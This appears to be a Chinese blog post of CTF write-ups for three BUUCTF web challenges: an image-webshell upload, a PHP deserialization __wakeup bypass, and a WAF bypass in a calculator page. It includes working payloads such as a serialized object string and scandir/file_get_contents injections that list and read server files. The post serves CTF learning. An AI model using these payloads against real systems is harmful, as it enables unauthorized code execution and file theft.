BUUCTF web类(3)

[ACTF2020 新生赛]Upload

文件上传题,先上传了一张图片,上传成功,并给出了文件位置,文件名被加密了,不过没有关系。

上传上次做好的图片马看看,被限制了,那就抓包发。

几乎没有什么变化,可以看到上传成功,位置也给出来了,访问一下。

看来木马可以使用,连上蚁剑找flag。

根目录下找到flag,简简单单。

[极客大挑战 2019]PHP

进入页面,看到一只喵喵,可以用线球去逗它,但是重点还是出题者的这句话,既然备份了网站,

那我们可以试试扫描下目录。

用御剑啥也没扫出来,没有头绪了看看大佬们的解法找到一个www.zip这个备份网站压缩包,那现在就着重分析代码了。

在index.php中找到这么一串代码,分析下,主要是通过get传输参数‘select’并将其反序列化后给res,所以我们传入的参数得要事先使用serialize()函数序列化一边。

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

在class.php中,我们传入的参数要有username与password,且满足以下条件(写注释里了)。

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';//在这定义两个类
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';//对于输入的username都赋予‘guest’
    }

    function __destruct(){
        if ($this->password != 100) {//判断password的长度,等于100为真,其他为假
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {//只有当username等于‘admin’时输出flag
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

这时候要提一点,private 赋值的属性被序列化后属性名会变成\0类名\0字段名,所以序列化后添加即可,且由于_wakeup()会强制改变username的值,只有当对象属性的个数的值大于真实的属性个数的时候会跳过__wakeup的执行,把name后面的数字2改为大于2的数字,接下来用php写一段序列化代码。

<?php  
$strings = array("username", "admin", "password");  
  
// 序列化字符串数组  
$serializedStrings = serialize($strings);  
  
// 输出序列化后的字符串  
echo $serializedStrings;  
?>

修改后如下,赋值给 select得到flag

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 

 [RoarCTF 2019]Easy Calc

进入页面是一个计算器,测试了一下,只要输入字母与字符都会被栏住,先看下源码。

看来添加了waf,最后看到了一个 calc.php页面,可以去看看。

 

 

看到源码,主要可以通过num传入一个参数,但是过滤了大量符号,想想怎么构造paylaod。

 

后来发现只要num为数字外的其他数,都会直接进不去,看来是waf的过滤原则起作用了。

 

这时候找到一个方法,通过在num前加一个空隔就可绕过waf的检测,同时php在解析语句时会自己删除前面的空格,这时候构造paylaod。

用括号代替空格,chr(47)代替“\”来遍历一下网站文件目录

? num=var_dump(scandir(chr(47)))

 看到一个f1agg,估计就是它了,构造语句去读它。

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

成功读到flag。

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值